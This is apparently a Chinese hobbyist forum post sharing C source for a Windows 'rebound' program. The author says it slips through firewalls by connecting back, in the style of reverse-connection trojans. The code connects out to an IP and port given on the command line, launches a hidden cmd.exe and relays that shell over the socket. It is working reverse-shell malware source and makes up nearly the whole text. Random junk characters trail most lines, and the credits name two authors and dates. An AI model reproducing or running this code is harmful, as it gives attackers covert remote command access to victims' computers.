这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 *[
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/* ============================== @U;-5KYYi
Rebound port in Windows NT v7O{8K+
By wind,2006/7 x0.&fCh%
===============================*/ z-[Jbjhd
#include {0QD-b o
#include M(Jf&h4b
DBCL+QHA
#pragma comment(lib,"wsock32.lib") 9foQ0#R
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void OutputShell(); s`C#=l4
SOCKET sClient; dp)lHBV
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; )~d2`1zGS
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void main(int argc,char **argv) 9<7Q {
{ $0LlaN@e
WSADATA stWsaData; a9QaF s"
int nRet; @pytHN8( $
SOCKADDR_IN stSaiClient,stSaiServer; t8GJ;
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if(argc != 3) =Z#tZ{"
{ A6iyJFmD
printf("Useage:\n\rRebound DestIP DestPort\n"); i=o>Bl@f
return; HxZ4t
} \_x)E]D
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WSAStartup(MAKEWORD(2,2),&stWsaData); 6J%SkuxR
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <@*mFq0 ,
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stSaiClient.sin_family = AF_INET; lS?f?n^
stSaiClient.sin_port = htons(0); ip>dHj
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); IZAbW
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) "45BOw&72G
{ Tj:+:B(HB
printf("Bind Socket Failed!\n"); ^~BJu#uVyy
return; 0QC*Z (
} b17p;wS
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stSaiServer.sin_family = AF_INET; #Q'i/|g
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); B]*&lRR
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); gmLw. |-
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) }ZYK3F
{ r4D66tF
printf("Connect Error!"); _R5^4 -Qe
return; ;F5B)&/B
} ,\=u(Y\I[
OutputShell(); 1>1|>%
} {'!D2y.7g
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void OutputShell() ^f`#8G7 (
{ Rdnd|
char szBuff[1024]; "9WP^[
SECURITY_ATTRIBUTES stSecurityAttributes; IZ2#jSDn
OSVERSIONINFO stOsversionInfo; U_VD* F4Bv
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ;U7\pc;S
STARTUPINFO stStartupInfo; TfZO0GL$
char *szShell; *JpEBtTv=5
PROCESS_INFORMATION stProcessInformation; (|6qN
unsigned long lBytesRead; uO^{+=;A=
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 3_ zI$Z
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); G3U+BC23E
stSecurityAttributes.lpSecurityDescriptor = 0; -y/?w*Cx
stSecurityAttributes.bInheritHandle = TRUE; [j!0R'T
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); V_
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Z].>U!7W
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); #%{\59/w
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3Q;^X(Ml*
stStartupInfo.wShowWindow = SW_HIDE; huq6rA/i
stStartupInfo.hStdInput = hReadPipe; 71)#'ey
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; t]@Zd*
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GetVersionEx(&stOsversionInfo); u8W*_;%:
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switch(stOsversionInfo.dwPlatformId) "RShsJZMH
{ tNUcmiY
case 1: VJ$C)0xQA
szShell = "command.com"; T\WNT#My
break; #qn)Nq(
default: /=3g-$o{`
szShell = "cmd.exe"; Ha/\&Z(
break; 3>jz3>v@
} dT|z)-Z`
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); i#-Jl7V[a
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send(sClient,szMsg,77,0); ow$#kQ&R O
while(1) Tbwq_3fK
{ n>eIQaV
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +}Q4 g]M8
if(lBytesRead) 8n73MF
{ #mM&CscE
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); oVhw2pKpM
send(sClient,szBuff,lBytesRead,0); 4sJx_Qi
} Y^!40XjrD
else 9iOlR=-*
{ wG|3
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lBytesRead=recv(sClient,szBuff,1024,0); nRo`O
if(lBytesRead<=0) break; e;pNB
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); DRzpV6s
} CTI(Kh+
} [n}c}%
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return; c]"B)I1L
}